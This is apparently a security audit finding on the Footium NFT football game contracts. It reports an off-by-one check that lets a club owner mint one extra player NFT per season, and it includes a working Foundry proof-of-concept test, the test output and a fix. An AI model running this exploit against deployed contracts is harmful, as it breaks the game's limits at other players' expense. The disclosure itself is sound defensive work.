alexzoid

high

# Club's owner can mint an additional player per season bypassing the limits

## Summary
From the official documentation, `Each club has a Youth Academy which produces 10 new 18-year-old players each season (roughly a month in real-time)`. This means, that the default limit is set to `10`, but it can be bypassed by the club's owner which potentially could mint one additional `FootiumPlayer` NFT and get `11` NFTs. 

## Vulnerability Detail
The problem is in check at https://github.com/sherlock-audit/2023-04-footium/blob/main/footium-eth-shareable/contracts/FootiumAcademy.sol#L184-L188
```solidity
generationId = generationIds[i];

if (generationId > _maxGenerationId) {
    revert GenerationIDTooHigh(generationId, _maxGenerationId);
}
```
It allows passing in function parameters one additional element of `generationIds[]`, which allows the club's owner to mint one additional `FootiumPlayer` NTF. 

## Proof of Concept
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

import "forge-std/Test.sol";
import "./Cheatcodes.sol"; // CheatCodes interface from https://book.getfoundry.sh/cheatcodes/
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

import "../../contracts/FootiumPrizeDistributor.sol";
import "../../contracts/FootiumToken.sol";
import "../../contracts/FootiumClub.sol";
import "../../contracts/FootiumGeneralPaymentContract.sol";
import "../../contracts/FootiumPlayer.sol";
import "../../contracts/FootiumClubMinter.sol";
import "../../contracts/FootiumAcademy.sol";
import "../../contracts/FootiumEscrow.sol";

string constant CLUB_URI = "https://footium.club/test-20221006/api/nfts/clubs/";
uint96 constant ROYALTY_FEE_PERCENTAGE = 500; // 5%
string constant PLAYER_URI = "https://footium.club/test-20221006/api/nfts/players/";
uint256 constant ACADEMY_COHORT_SIZE = 10;
bytes32 constant MINTER_ROLE = 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6;

contract FootiumTestH1 is Test {
    CheatCodes private cheats;
    address private admin;

    address private clubOwner;
    uint256 constant private CLUB_ID = 7;
    SeasonID constant private SEASON_ID = SeasonID.wrap(1);
    uint256 constant private DIVISION_TIER = 4; 
    bytes32 private merkleRoot;
    bytes32[] private merkleProof;
    uint256[] private fees;

    FootiumPrizeDistributor private prizeDistributor;
    FootiumToken private token;
    FootiumClub private club;
    FootiumGeneralPaymentContract private generalPayment;
    FootiumPlayer private player;
    FootiumClubMinter private clubMinter;
    FootiumAcademy private academy;
    FootiumEscrow private escrow;

    function setUp() public {
        cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
        // Use RPC endpoint for Arbitrum mainnet. Replace "arbitrum" with your url
        // Example: https://arbitrum-mainnet.infura.io/v3/{YOUR_ALCHEMY_KEY}
        cheats.createSelectFork("arbitrum");

        admin = vm.addr(777);
        vm.startPrank(admin);

        prizeDistributor = FootiumPrizeDistributor(
            payable(
                new ERC1967Proxy(
                    address(new FootiumPrizeDistributor()),
                    abi.encodeWithSelector(
                        FootiumPrizeDistributor.initialize.selector
                    )
                )
            )
        );  

        token = FootiumToken(
            payable(
                new ERC1967Proxy(
                    address(new FootiumToken()),
                    abi.encodeWithSelector(
                        FootiumToken.initialize.selector
                    )
                )
            )
        );  

        club = FootiumClub(
            payable(
                new ERC1967Proxy(
                    address(new FootiumClub()),
                    abi.encodeWithSelector(
                        FootiumClub.initialize.selector,
                        CLUB_URI
                    )
                )
            )
        );  

        generalPayment = FootiumGeneralPaymentContract(
            payable(
                new ERC1967Proxy(
                    address(new FootiumGeneralPaymentContract()),
                    abi.encodeWithSelector(
                        FootiumGeneralPaymentContract.initialize.selector,
                        address(prizeDistributor),
                        address(club)
                    )
                )
            )
        );  

        player = FootiumPlayer(
            payable(
                new ERC1967Proxy(
                    address(new FootiumPlayer()),
                    abi.encodeWithSelector(
                        FootiumPlayer.initialize.selector,
                        address(prizeDistributor),
                        ROYALTY_FEE_PERCENTAGE,
                        PLAYER_URI
                    )
                )
            )
        );  

        clubMinter = FootiumClubMinter(
            payable(
                new ERC1967Proxy(
                    address(new FootiumClubMinter()),
                    abi.encodeWithSelector(
                        FootiumClubMinter.initialize.selector,
                        address(player),
                        address(club)
                    )
                )
            )
        );  

        fees = new uint256[](8);
        fees[0] = 0.17 ether;
        fees[1] = 0.12 ether;
        fees[2] = 0.1 ether;
        fees[3] = 0.08 ether;
        fees[4] = 0.05 ether;
        fees[5] = 0.03 ether;
        fees[6] = 0.02 ether;
        fees[7] = 0.01 ether;
        academy = FootiumAcademy(
            payable(
                new ERC1967Proxy(
                    address(new FootiumAcademy()),
                    abi.encodeWithSelector(
                        FootiumAcademy.initialize.selector,
                        address(player),
                        address(club),
                        address(prizeDistributor),
                        ACADEMY_COHORT_SIZE,
                        fees
                    )
                )
            )
        );  
        
        // Set needed access roles
        player.grantRole(MINTER_ROLE, address(academy));
        player.grantRole(MINTER_ROLE, address(clubMinter));
        club.grantRole(MINTER_ROLE, address(clubMinter));

        // Mint a club for clubOwner
        clubOwner = vm.addr(1);
        vm.deal(clubOwner, 100 ether);
        clubMinter.mint(clubOwner, CLUB_ID);
        escrow = club.clubToEscrow(CLUB_ID);

        // Merkle root from scripts/clubDivsMetadata.json
        merkleRoot = 0x786607743ff3568994e9f95849e301e639f26affc150c67cac91d960a1b38f1e;
        academy.setClubDivsMerkleRoot(merkleRoot);

        // Merkle proof for (7, 4)
        merkleProof = new bytes32[](3);
        merkleProof[0] = 0xcbc4e5fb02c3d1de23a9f1e014b4d2ee5aeaea9505df5e855c9210bf472495af;
        merkleProof[1] = 0x9d86f1aa5e133c814f034cd91e7ff67704f816bba73a2d5cfd0e48c8c3f9f2ad;
        merkleProof[2] = 0x7925decdce96e418fd327c5582e72db17cdbd59e17de4be4eae814a68cf94e50;

        vm.stopPrank();
    }

    function test_academyMintPlayersPlus1() public {
        uint256 playersInitialBalance = player.balanceOf(address(escrow));
        assert(playersInitialBalance == 20);
        console.log("Initial number of players:", playersInitialBalance);
        console.log("Mintable number of players per season:", ACADEMY_COHORT_SIZE);

        uint256 playersCount = ACADEMY_COHORT_SIZE + 1;
        uint256[] memory generationIds = new uint256[](playersCount);
        for(uint256 i; i < playersCount; ++i) {
            generationIds[i] = i;
        }
        
        uint256 totalFees = fees[DIVISION_TIER - 1] * playersCount;
        vm.prank(clubOwner);
        academy.mintPlayers{value: totalFees}(
            SEASON_ID, 
            CLUB_ID, 
            DIVISION_TIER, 
            generationIds, 
            merkleProof
            );
        console.log("Players minted in current season:", playersCount);

        assert(player.balanceOf(address(escrow)) - playersInitialBalance == playersCount);
        console.log("Final number of players:", player.balanceOf(address(escrow)));
    }
}
```
To initiate a Foundry test, use the following command: `forge test -vv --match-test test_academyMintPlayersPlus1`. An example of the test output:
```bash
Running 1 test for test/foundry/FootiumH1.t.sol:FootiumTestH1
[PASS] test_academyMintPlayersPlus1() (gas: 749720)
Logs:
  Initial number of players: 20
  Mintable number of players per season: 10
  Players minted in current season: 11
  Final number of players: 31

Test result: ok. 1 passed; 0 failed; finished in 6.03s
```

## Impact
Club's owner mints one additional `FootiumPlayer` NFT per season over the game limits.

## Code Snippet
https://footium.gitbook.io/footium-wiki/economy/prize-pools#prize-pool-sources
https://github.com/sherlock-audit/2023-04-footium/blob/main/footium-eth-shareable/contracts/FootiumAcademy.sol#L183-L205

## Tool used
VSCodium, Foundry

## Recommendation
Change a code at https://github.com/sherlock-audit/2023-04-footium/blob/main/footium-eth-shareable/contracts/FootiumAcademy.sol#L186
from
```solidity
if (generationId > _maxGenerationId) {
```
to
```solidity
if (generationId >= _maxGenerationId) {
```
